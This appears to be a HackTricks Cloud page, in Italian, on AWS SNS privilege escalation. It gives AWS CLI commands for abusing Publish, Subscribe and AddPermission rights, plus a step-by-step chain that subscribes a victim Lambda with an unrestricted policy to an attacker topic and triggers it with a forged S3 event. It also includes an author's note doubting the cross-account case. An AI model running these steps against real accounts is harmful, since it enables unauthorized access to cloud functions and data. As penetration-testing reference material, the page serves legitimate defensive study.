AWS - SNS Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
SNS
Per maggiori informazioni consulta:
sns:Publish
Un attacker potrebbe inviare messaggi dannosi o indesiderati al SNS topic, causando potenzialmente corruzione dei dati, innescando azioni non intenzionali o esaurendo le risorse.
aws sns publish --topic-arn <value> --message <value>
Impatto potenziale: Sfruttamento della vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
sns:Subscribe
Un attaccante potrebbe iscriversi a un SNS topic, ottenendo potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sul topic.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Impatto potenziale: Accesso non autorizzato ai messaggi (informazioni sensibili), interruzione del servizio per le applicazioni che si basano sul topic interessato.
sns:AddPermission
Un attaccante potrebbe concedere a utenti o servizi non autorizzati l'accesso a un SNS topic, ottenendo potenzialmente permessi aggiuntivi.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Impatto potenziale: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.
Invoke a Lambda by abusing wildcard SNS permission (no SourceArn)
Se una resource-based policy di una funzione Lambda permette a sns.amazonaws.com di invocarla senza limitare il topic sorgente (SourceArn), qualsiasi SNS topic (anche in un altro account) può sottoscriversi e attivare la funzione. Un attacker con permessi SNS di base può costringere la Lambda a eseguire con il suo ruolo IAM con input controllato dall'attacker.
tip
TODO: È veramente possibile farlo cross-account?
Prerequisiti
- La policy della Lambda vittima contiene una dichiarazione come la seguente, SENZA condizione SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Passaggi di abuso (stesso account o cross-account)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Potential Impact: La Lambda vittima viene eseguita con il suo IAM role, elaborando input controllato dall'attaccante. Questo può essere sfruttato per far sì che la funzione esegua azioni sensibili (ad esempio, scrivere su S3, accedere a segreti, modificare risorse) a seconda dei suoi permessi.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud